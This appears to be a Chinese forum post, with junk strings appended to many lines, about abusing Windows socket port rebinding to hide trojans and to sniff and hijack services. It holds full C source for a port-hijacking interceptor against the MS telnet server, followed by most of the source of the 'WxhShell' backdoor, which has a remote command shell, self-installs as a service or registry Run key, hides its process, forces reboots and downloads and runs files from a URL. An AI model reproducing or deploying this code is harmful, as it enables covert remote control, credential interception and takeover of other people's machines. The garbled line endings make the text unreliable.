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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?VZ11?u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uqa4&2(I=j  
hk@`N;dn  
  saddr.sin_family = AF_INET; B]|6`UfB  
8{G?92 {rN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  t$H':l0  
C^/ -lc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lbB.*oQ  
%]chL.s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m +Q5vkW  
Cv>yAt.3  
  这意味着什么?意味着可以进行如下的攻击: fys5-1@-p  
%[Zqr;~l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XJmFJafQD  
&gA6+b'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 29Z!p2{hk  
&R'w-0k_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,l$NJt   
N4a`8dS|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A-a17}fta  
coF T2Pq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :T7?  
H ~[LJ5x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `!nJS|  
,G[r+4|h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }{&l n  
>P\h,1  
  #include A,m4WO_q3  
  #include 9u ?)vR[@e  
  #include selP=Q!  
  #include    rb:<N%*t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1KTabj/C  
  int main() |jahpji6  
  { !Tn0M;  
  WORD wVersionRequested; l_c^ .D  
  DWORD ret; "WYA  
  WSADATA wsaData; `E} p77  
  BOOL val; <$jKy3@  
  SOCKADDR_IN saddr; r"{Is?yKe  
  SOCKADDR_IN scaddr; 6kt]`H`cfJ  
  int err; ,4H;P/xsb  
  SOCKET s; i1qS ns  
  SOCKET sc; Jo{ zy  
  int caddsize; ~~C6)N~1  
  HANDLE mt; 0).fBBNG  
  DWORD tid;   X0y?<G1( a  
  wVersionRequested = MAKEWORD( 2, 2 ); i>Z|6 5  
  err = WSAStartup( wVersionRequested, &wsaData ); Lw>-7)  
  if ( err != 0 ) { E tJ~dL)  
  printf("error!WSAStartup failed!\n"); VLcyPM@"Q!  
  return -1; 0LWdJ($?  
  } j|VXC(6 P,  
  saddr.sin_family = AF_INET; 81g9ZV(4  
   n$.1Wk"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gB]C&Q  
g!1I21M1~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \f(Y:}9  
  saddr.sin_port = htons(23); C(-[ Y!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?SC3Vzr  
  { uu}a:qrY  
  printf("error!socket failed!\n"); 1P_Fe[8  
  return -1; Z0e-W:&;kF  
  } O6yP qG*j  
  val = TRUE; 2B HKS-J*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W1xf2=z`)T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f%2%T'Q  
  { hzaLx8L  
  printf("error!setsockopt failed!\n"); :3*`IB !  
  return -1; )fNGB]%  
  } fd4;mc1T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /@&(P#h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `$J'UXtGc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /^w"' '  
I+0c8T(:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3PfiQ|/b  
  { eh$G.-2N  
  ret=GetLastError(); XjX 2[*l  
  printf("error!bind failed!\n"); +.w[6  
  return -1; @. "q  
  } c#=&!FRe  
  listen(s,2); X(IyvfC  
  while(1) D899gGe  
  { 43KaL(  
  caddsize = sizeof(scaddr); FyCBN tCv  
  //接受连接请求 e\`wlaP,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [ L  
  if(sc!=INVALID_SOCKET) p` $fTgm  
  { Iq+2mQi*/k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I?^aCnU  
  if(mt==NULL) StEQ -k  
  { !?jK1{E3  
  printf("Thread Creat Failed!\n"); 21U&Ww  
  break; >yX/+p_  
  } -:MmSeG7gO  
  } $u:<x  
  CloseHandle(mt); $nj\\,(g  
  } jQ6Xr&}  
  closesocket(s); >wA+[81[  
  WSACleanup(); UL&} s_  
  return 0; > 84e`aGE  
  }   4 bn t=5]  
  DWORD WINAPI ClientThread(LPVOID lpParam) W/sY#"  
  { RF:04d  
  SOCKET ss = (SOCKET)lpParam; \UOm]z  
  SOCKET sc; h{I`7X  
  unsigned char buf[4096]; gt'*B5F(  
  SOCKADDR_IN saddr; a_Jb> }  
  long num; nh<Z1tMU  
  DWORD val; Wu,S\!  
  DWORD ret; CA/ -Gb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E-^2"j >o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2SYKe$e  
  saddr.sin_family = AF_INET; Hj2<ZL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Hoj8okP  
  saddr.sin_port = htons(23); xWDR72 6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sJOV2#r  
  { B;V5x/  
  printf("error!socket failed!\n"); )Bo]=ZTJ^  
  return -1; )T9~8p.  
  } [P{a_(  
  val = 100; )AI?x@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "TfI+QgLF  
  { <KX&zi<L)  
  ret = GetLastError(); i0\)%H:z  
  return -1; ?IILt=)<  
  } iUTU*El>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f~q4{  
  { e9 *lixh  
  ret = GetLastError(); wqP2Gw7jh6  
  return -1; > VP5vkv=  
  } z|I0-1tAK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dq(E&`SzK  
  { UU[H@ym#  
  printf("error!socket connect failed!\n"); ?pqU3-knH  
  closesocket(sc); cAb>2]M5V  
  closesocket(ss); q4/909x=  
  return -1; tF^g<)S;t  
  } ~ ltg  
  while(1) `]jqQr97  
  { \%TyrY+`K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \^0!|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =G4u#t)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *1$    
  num = recv(ss,buf,4096,0); w.z<60%},0  
  if(num>0) ~@D/A/|  
  send(sc,buf,num,0); A @2Bs 5F  
  else if(num==0) 5rloK"  
  break; 2e59Ez%k6  
  num = recv(sc,buf,4096,0); ^&Q< tN 7  
  if(num>0) E=]]b;u-n  
  send(ss,buf,num,0); |4fF T `  
  else if(num==0) O[FZq47  
  break; >I^9:Q  
  } p?JQ[K7i  
  closesocket(ss); Z/g]o#  
  closesocket(sc); 'OD) v  
  return 0 ; h)cY])tGtK  
  } xzr<k Sp  
[pL*@9Sa&  
t"|DWC*  
========================================================== -uj3'g (;w  
|cgui  
下边附上一个代码,,WXhSHELL cS(;Qs]Q  
G>K@AW #  
========================================================== 0e16Ow6\!1  
DW>ES/B8$(  
#include "stdafx.h" [EOVw%R  
8I.VJ3Q  
#include <stdio.h> ,F9nDF@)  
#include <string.h> wXbsS)#/  
#include <windows.h> ugLlI2 nJ  
#include <winsock2.h> Xb,T{.3@  
#include <winsvc.h> )M:)y  
#include <urlmon.h> "}zt`3  
 q=4Bny0  
#pragma comment (lib, "Ws2_32.lib") Q|c|2byb  
#pragma comment (lib, "urlmon.lib") i%F<AY\O)  
?:uNN  
#define MAX_USER   100 // 最大客户端连接数 VD [pZ2;4  
#define BUF_SOCK   200 // sock buffer "VTF}#Uo  
#define KEY_BUFF   255 // 输入 buffer  z)w-N  
: G=FiC  
#define REBOOT     0   // 重启 y' [LNp V  
#define SHUTDOWN   1   // 关机 cU8xUpq  
||Y<f *  
#define DEF_PORT   5000 // 监听端口 ~=cmM  
z_&P?+"Df  
#define REG_LEN     16   // 注册表键长度 S-c ^eLzQ  
#define SVC_LEN     80   // NT服务名长度 EI1? GB)b  
>{nH v)  
// 从dll定义API rt}^4IqL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v0LGdX)/Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  prrT:Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G3a7`CD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wxdyF&U n  
:kG)sw7  
// wxhshell配置信息 iKAusWj  
struct WSCFG { 3i=Iu0  
  int ws_port;         // 监听端口 |8U;m:AS  
  char ws_passstr[REG_LEN]; // 口令 !0" nx{7.  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6Hf,6>  
  char ws_regname[REG_LEN]; // 注册表键名 BJy;-(JP  
  char ws_svcname[REG_LEN]; // 服务名 :NE/Ddgc'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K 1W].(-@4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !Zjq9{t\"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ahGT4d`)9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uM S*(L_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r,NgG!zq<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d5!!Ut  
G%{0i20_  
}; Apfnx7Fv  
;Gd~YGW^#  
// default Wxhshell configuration MbA\pG'T  
struct WSCFG wscfg={DEF_PORT, 4 b,N8  
    "xuhuanlingzhe", 2?DRLF]  
    1, {_>em*Vb  
    "Wxhshell", 5o 0Ch  
    "Wxhshell", : ]II-$/8  
            "WxhShell Service", Ed-M7#wY  
    "Wrsky Windows CmdShell Service", tSHFm-q`  
    "Please Input Your Password: ", 0xMj=3']  
  1, @PSLs *  
  "http://www.wrsky.com/wxhshell.exe", w/m:{cHk  
  "Wxhshell.exe" l,`!rF_  
    }; ^4pto$#@O:  
rx!=q8=0R  
// 消息定义模块 y7lWeBnC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [TTSA2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WNy3@+@GZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 46No%cSiG  
char *msg_ws_ext="\n\rExit."; A)NkT`<)  
char *msg_ws_end="\n\rQuit."; s V  }+eU  
char *msg_ws_boot="\n\rReboot..."; =RKSag&  
char *msg_ws_poff="\n\rShutdown..."; f.xA_Y>  
char *msg_ws_down="\n\rSave to "; VaLs`q&3>  
E6A /SVp  
char *msg_ws_err="\n\rErr!"; -x*2t;%z{U  
char *msg_ws_ok="\n\rOK!"; B\CN<<N>dD  
o\=n4;S  
char ExeFile[MAX_PATH]; vjUp *R>h  
int nUser = 0; bGmx7qt#  
HANDLE handles[MAX_USER]; 8e2?tmWM  
int OsIsNt; *hY2.t; X  
z5 m>H;P  
SERVICE_STATUS       serviceStatus; wkb$^mU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A9:NKY{z  
N4!<Xj  
// 函数声明 [f{VIE*?%  
int Install(void); 4. qtp`  
int Uninstall(void); I;MD>%[W,  
int DownloadFile(char *sURL, SOCKET wsh); fiDl8=~@  
int Boot(int flag); n/Dp"4H%q  
void HideProc(void); /-M@[p&  
int GetOsVer(void); ,kM)7!]N  
int Wxhshell(SOCKET wsl); '%;\YD9  
void TalkWithClient(void *cs); #x@eDnb_  
int CmdShell(SOCKET sock); 0C$vS`s&  
int StartFromService(void); 27Emm c  
int StartWxhshell(LPSTR lpCmdLine); ccJM>9  
lB;FUck9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &^.57]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z\!K<d"Xv  
#"*e+.j[;  
// 数据结构和表定义 L 3XB"A#  
SERVICE_TABLE_ENTRY DispatchTable[] = 9pSUIl9|j  
{ Ud(`V:d  
{wscfg.ws_svcname, NTServiceMain}, |U' I/A  
{NULL, NULL} svhI3"r  
}; j`>^1Q  
Y%aWK~O  
// 自我安装 rZ03x\2  
int Install(void) iCQ>@P]nE  
{ 7jG(<!,  
  char svExeFile[MAX_PATH]; 8y2+&#$  
  HKEY key; dK9Zg,DZL  
  strcpy(svExeFile,ExeFile);  kLP0{A  
LHYLC>J  
// 如果是win9x系统,修改注册表设为自启动 X$n(-65  
if(!OsIsNt) { nv/[I,nw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;0%OB*lcgE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  iThSt72  
  RegCloseKey(key); 83Ou9E!W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zGo|JF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K\?]$dK5  
  RegCloseKey(key); DBH#)4do@  
  return 0; &#{dWObh  
    } L"(4R^]  
  } V"KS[>>f  
} :#t*K6dz  
else { *%FA:Y  
y/_XgPfWU  
// 如果是NT以上系统,安装为系统服务 S ZU \i*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V-yUJ#f8[  
if (schSCManager!=0) +0$/y]k  
{ r%]Qlt ~K  
  SC_HANDLE schService = CreateService *C|  
  ( ^s:y/Kd  
  schSCManager, >l5$9wO  
  wscfg.ws_svcname, O6s.<` \  
  wscfg.ws_svcdisp, iJh!KEy~A5  
  SERVICE_ALL_ACCESS, Sm{>rR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -G|a*^  
  SERVICE_AUTO_START, 9J-b6,  
  SERVICE_ERROR_NORMAL, %VNlXHO.  
  svExeFile, # TkR  
  NULL, QO;4}rq  
  NULL, 'Prxocxq  
  NULL, Ri*3ySyb  
  NULL, tln37vq  
  NULL 5]Ajf;W\  
  ); @z`@f"l  
  if (schService!=0) JK_OZ  
  { ))h6~1`  
  CloseServiceHandle(schService); xyh.N)  
  CloseServiceHandle(schSCManager); $7Jo8^RE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L@Nu/(pB=  
  strcat(svExeFile,wscfg.ws_svcname); LRb, VD:/Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4_?7&G0(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q OhO qV  
  RegCloseKey(key); {p<Zbm.  
  return 0; ( )T[$.(  
    }  a*dQ _  
  } oMH.u^b]fT  
  CloseServiceHandle(schSCManager); uZjC c M  
} c,\i"=!$  
} ^eq</5q D  
5z$,6T  
return 1; i'/m4 !>h  
} ?)4?V\$  
y(jg#7)  
// 自我卸载 E+95WF|4k"  
int Uninstall(void) cQN sL  
{ ]2SI!Ai7  
  HKEY key; [#^#+ |{\  
E>jh"|f:{  
if(!OsIsNt) { F =a+z/xKT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &dB-r&4;+  
  RegDeleteValue(key,wscfg.ws_regname); %q 3$|>  
  RegCloseKey(key); coE&24,0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .x83Ah`  
  RegDeleteValue(key,wscfg.ws_regname); Pt,ebL~  
  RegCloseKey(key); r),PtI0X  
  return 0; sN=6gCau  
  } >p\e 0n  
} )(M7lq.e7  
} %:v`EjRD0  
else { =qVP]  9  
~#K@ADYr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :a[Ihqfg  
if (schSCManager!=0) tA.`k;LT  
{ L71!J0@a#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V<Z'(UI  
  if (schService!=0) -T@`hk`  
  { 6=_~ 0PcY  
  if(DeleteService(schService)!=0) { PyC0Q\$%  
  CloseServiceHandle(schService); 1%[_`J;>Z  
  CloseServiceHandle(schSCManager); X@N$Z{  
  return 0; U\@A _ B  
  } I&yVx8aH}  
  CloseServiceHandle(schService); Wzq>JNn y  
  } -Yi,_#3{  
  CloseServiceHandle(schSCManager); )Q;978:  
} M)-6T{[IT  
} \ gwXH  
$RX'(/  
return 1; koG{ |elgB  
} "Y: /= Gx  
l~:v (R5  
// 从指定url下载文件 (46 {r}_O  
int DownloadFile(char *sURL, SOCKET wsh) c,EBF\r8*  
{ \/`?  
  HRESULT hr; =JLh?Wx  
char seps[]= "/"; 2.uA|~qH  
char *token; 1 k8x%5p  
char *file; Pz_Oe,{.I  
char myURL[MAX_PATH]; /lhz],w  
char myFILE[MAX_PATH]; }Nj97 R  
j1$8#/r;c  
strcpy(myURL,sURL); RF}X ER  
  token=strtok(myURL,seps); j-@kW'K  
  while(token!=NULL) +>^7vq-\'  
  { ]w).8=I  
    file=token; vYmSKS  
  token=strtok(NULL,seps);  ,*id'=S  
  } Y qdWctUY  
jjs&`Fy,  
GetCurrentDirectory(MAX_PATH,myFILE); G`h+l<  
strcat(myFILE, "\\"); B/f0P(7  
strcat(myFILE, file);  }alj[)  
  send(wsh,myFILE,strlen(myFILE),0); <~emx'F|  
send(wsh,"...",3,0); }3 m0AQ;K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [onqNp  
  if(hr==S_OK) vE, 37  
return 0; \kIMDg3}  
else @`"AHt  
return 1; %u\26[/  
_o6G6e,  
} & -l8n^  
NLd``=&  
// 系统电源模块 }-p[V$:S  
int Boot(int flag) gT+Bhr  
{ =s97Z-  
  HANDLE hToken; VL+C&k v]  
  TOKEN_PRIVILEGES tkp; '!h/B;*(  
4Cb9%Q0  
  if(OsIsNt) { ,<,:8B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &a)eJF]:!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q0mOG^  
    tkp.PrivilegeCount = 1; l;X|=eu'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?9MVM~$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 10[Jl5+t  
if(flag==REBOOT) { yq[Cq=rBk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R0Ue0pF7  
  return 0; zJlQ_U-!  
} Yj(4&&Q  
else { 7^TV~E#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) faXx4A2"  
  return 0; 4NR@u\S  
} G\gMC <3  
  } /?-7Fg+,  
  else { 6R UrF  
if(flag==REBOOT) { 34|a\b}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T$4P_*  
  return 0;  4-Z()F  
} ;$j7H&UNQj  
else { #C*8X+._y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yepe=s+9  
  return 0; ?kw&=T !  
} {04"LAE  
} ygZ  #y L  
eL D?jTi'  
return 1; X<OSN&d  
} #.B"q:CW*P  
=nUW'  
// win9x进程隐藏模块 [`=LTBt  
void HideProc(void) <-Bx&Q  
{ &<'n^n  
a?5[k}\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z(0@1l`Z-`  
  if ( hKernel != NULL ) .y5,x\Pq(  
  { ._:nw=Y0<}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g&/p*c_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f3*?MXxb16  
    FreeLibrary(hKernel); Oeya%C5'  
  } 4JIYbb-a'  
lG<hlYckv  
return; I,6/21kO  
} p4u5mM  
"I- w  
// 获取操作系统版本 #!J(4tXny  
int GetOsVer(void) ^cvl:HOog  
{ Br>Fpe$q4  
  OSVERSIONINFO winfo; 4b]a&_-}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %~ |HFYd  
  GetVersionEx(&winfo); "%2xR[NF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~vdkFc(8B  
  return 1; W{cY6@  
  else Q-TV*FD.  
  return 0; &:*q_$]Oz  
} 9~IQw#<  
~=r^3nZR/J  
// 客户端句柄模块 donw(_=  
int Wxhshell(SOCKET wsl) nx":"LFI  
{ R! s6% :Yg  
  SOCKET wsh; oSb, :^Wl  
  struct sockaddr_in client; >n5:1.g  
  DWORD myID; xom<P+M!|  
{1 J&xoV"  
  while(nUser<MAX_USER) 0pe3L   
{ +0z 7KO%^^  
  int nSize=sizeof(client); d?,M/$h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0\{BWNK  
  if(wsh==INVALID_SOCKET) return 1; M<?Q4a'Q  
?z-}>$I;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^>4o$}  
if(handles[nUser]==0) OvL\u{(<F  
  closesocket(wsh); Zc& &[g  
else >:sUL<p  
  nUser++; tS# `.F~y  
  } 5 +9 Ze9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :bU(S<%M  
Ac k}QzXO  
  return 0; f5RE9%.#~  
} /G{_7cb  
JwnAW}=  
// 关闭 socket f6<g3Q7Mu  
void CloseIt(SOCKET wsh) U4?(A@z9^  
{ m@Ev~~;  
closesocket(wsh); $9 p!Y}  
nUser--; ^S)TO}e  
ExitThread(0); [(LV  
} p 5u_1U0  
BF|(!8S$U  
// 客户端请求句柄 m8]?hJY 3l  
void TalkWithClient(void *cs) {-zMHVw=}  
{ :Gqy>)CxX  
Tn-C>=tR~%  
  SOCKET wsh=(SOCKET)cs; DdV'c@rq+  
  char pwd[SVC_LEN]; V% TH7@y  
  char cmd[KEY_BUFF]; F-Z%6O,2  
char chr[1]; ?^Hf Np9  
int i,j; OIb  
_K2?YY(#>  
  while (nUser < MAX_USER) { "T/>d%O1b  
lw%?z/HDf  
if(wscfg.ws_passstr) { 8am`6;O:!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e>'H IO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^u)z{.z'H/  
  //ZeroMemory(pwd,KEY_BUFF); qf'm=efRyu  
      i=0; beY=g7|  
  while(i<SVC_LEN) { Ru!He,k7  
@pV5}N[]  
  // 设置超时 z(RL<N%  
  fd_set FdRead; ~K_Uq*dCE  
  struct timeval TimeOut; <{(/E0~V/<  
  FD_ZERO(&FdRead); &6 -k#r  
  FD_SET(wsh,&FdRead); 4tA_YIv  
  TimeOut.tv_sec=8; Die-@z|Y  
  TimeOut.tv_usec=0; $ls[|N:y0l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C@y8.#l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AS!6XT  
5,"l0nrk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wVs.Vcwr  
  pwd=chr[0]; >r5P3G1  
  if(chr[0]==0xd || chr[0]==0xa) { !%mAh81{&/  
  pwd=0; $Byj}^;1  
  break; UK#&lim  
  } 1xyU  
  i++; W3W'oo  
    } }`VDD?M  
<c[U#KrvJ  
  // 如果是非法用户,关闭 socket wHjLd$ +o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FwKj+f"  
} vZ7gS  
FaTa(3$%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =%)+%[wv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ! {,F~i9  
aAvsb$  
while(1) { 4wzlJ19E(  
Qq-"Cg@-/  
  ZeroMemory(cmd,KEY_BUFF); SD\= m/W  
/{2*WI;  
      // 自动支持客户端 telnet标准   t5k!W7C  
  j=0; %3;Fgky  
  while(j<KEY_BUFF) { !4"sX+z9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z"4]5&3A  
  cmd[j]=chr[0]; =`n]/L"Q  
  if(chr[0]==0xa || chr[0]==0xd) { mwv(j_  
  cmd[j]=0; }S-DB#6  
  break; wbyE;W  
  } '&O/g<Z}q  
  j++; ^(}585b  
    } @*N )i?>  
]Hj<IvG  
  // 下载文件 9ch#}/7B  
  if(strstr(cmd,"http://")) { Z[!d*O%R_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ey{%XR+*;  
  if(DownloadFile(cmd,wsh)) - "*r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B DY}*cX  
  else >Y 1{rSk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aMARZ)V  
  } yj6@7@l>A  
  else { 57{oh")  
{)f~#37  
    switch(cmd[0]) { ExSe=4q#  
  G}@#u9  
  // 帮助 /(I*,.d  
  case '?': { 8qi+IGRg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x Ha=3n  
    break; !%<^K.wG  
  } kU5.iK'  
  // 安装 I7QCYB|  
  case 'i': { h<l1]h+x  
    if(Install()) /NT[ETMk+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @(``:)Z<b  
    else 3XiO@jzre  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =! Vf  
    break; g o5]<4`r  
    } F-(dRSDNM  
  // 卸载 T`/IO.2  
  case 'r': { %,@vWmn  
    if(Uninstall()) R`Aj|C z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wCs3:@UH  
    else 7z6 b@$,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ A1uhHP!  
    break; fHrt+_Zn|  
    } YIt9M,5/Q  
  // 显示 wxhshell 所在路径 M x5`yT7  
  case 'p': { %HQ.|  
    char svExeFile[MAX_PATH]; FFhtj(hVgc  
    strcpy(svExeFile,"\n\r"); 1 "TVRb  
      strcat(svExeFile,ExeFile); {cK^,?x  
        send(wsh,svExeFile,strlen(svExeFile),0); }y%`)lz~;  
    break; :H6FPV78  
    } HC {XX>F^  
  // 重启 E9j+o y  
  case 'b': { T&Xl'=/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >>l`,+y  
    if(Boot(REBOOT))  uD_v!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X#xFFDzN  
    else { %sh>;^58P  
    closesocket(wsh); &MmU  
    ExitThread(0); Hi! Jj  
    } 80}+MWdo  
    break; "}WJd$  
    } o 6{\Zzp  
  // 关机 Bsf7mcXz7z  
  case 'd': { F+UG'4%  
